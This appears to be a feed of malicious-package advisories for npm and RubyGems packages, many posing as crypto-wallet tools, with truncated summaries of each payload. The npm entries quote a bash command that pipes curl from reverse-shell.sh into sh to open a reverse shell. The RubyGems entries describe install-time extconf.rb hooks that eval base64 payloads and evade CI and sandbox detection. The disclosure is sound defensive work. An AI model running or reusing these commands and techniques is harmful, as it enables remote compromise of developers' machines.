MAL-2026-17633 Malicious code in internallib_v30 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 52b503d4f5d82ea2a67ac1cb9e3bbb82d009d375495f72cf13623f998a239cfe [email protected] ships a single index.js whose exported command function invokes /bin/bash -c with 'curl https://reverse-shell.sh/10.0.19.80:8443...

MAL-2026-17634 Malicious code in internallib_v86 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 9ea0c4f9673e1db33b6782ea815e30df5d2420ceff6d7ab920592e70a511bc07 internallibv86 ships a tiny index.js that exports a function command which invokes /bin/bash -c "curl https://reverse-shell.sh/... | sh" targeting...

Malicious code in bitcoin-rpc-lite (RubyGems)

Source: amazon-inspector 4567a3469d6774fbe9be233375145274adf41f8e7a20521724a9a15606351044 The gem declares ext/reqthrottlemini/extconf.rb as a native extension, but the ext/ directory ships no C/C++/Rust sources — the extension manifest exists solely to execute Ruby code during gem install. The...

Malicious code in eth-keystore-utils (RubyGems)

Source: amazon-inspector cd660255e3a3483ed89e81f30c696390f8b182a891f8f1fb7e4c1cbb3b52eb32 The gem advertises itself as an Ethereum keystore helper but ships a native extension ext/reqthrottlemini/extconf.rb whose sole purpose is to execute a malicious payload during gem install. The extconf scrip...

Malicious code in btc-wallet-tools (RubyGems)

Source: amazon-inspector 06838084180f1f087704c390cedde5a8d3610f4895356632f938139faef7d5e3 extconf.rb in this gem decodes a base64-encoded Ruby payload with Base64.decode64 and executes it via eval inside a double-forked, Process.setsid-detached child. The decoded payload opens a TCP socket to...

Malicious code in wallet-crypto-utils (RubyGems)

Source: amazon-inspector 5d4c36227c90b4747bc37eb95200ddf64c2875dd153138bc496b39c1dda564f7 The gem declares a native extension ext/reqthrottlemini/extconf.rb that ships no C/C++/Rust sources; the extconf.rb only calls createmakefile'walletcryptoutilsnative' after a hostile preamble. That preamble...

Malicious code in bitcoij-ruby (RubyGems)

RubyGems runs this gem's native extension script ext/bitcoij-ruby/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30 minut...

MAL-2026-17585 Malicious code in bitcoij-ruby (RubyGems)

RubyGems runs this gem's native extension script ext/bitcoij-ruby/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30 minut...

MAL-2026-17587 Malicious code in bitcoin-rpc-lite (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

Malicious code in bitcoin-rpc-lite (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

MAL-2026-17589 Malicious code in btc-wallet-tools (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

Malicious code in btc-wallet-tools (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

Malicious code in wallet-crypto-utils (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

MAL-2026-17615 Malicious code in wallet-crypto-utils (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

Malicious code in crypto-mnemonic-tools (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

Malicious code in eth-keystore-utils (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

MAL-2026-17598 Malicious code in eth-keystore-utils (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

Malicious code in request-guard (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

MAL-2026-17569 Malicious code in request-guard (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...

Malicious code in throttle-requests (RubyGems)

RubyGems runs this gem's native extension script ext/reqthrottlemini/extconf.rb during gem install. The script exits without action on CI runners and sandboxes, based on CI environment variables, the hostname, the username and the working directory. It continues if the system uptime is over 30...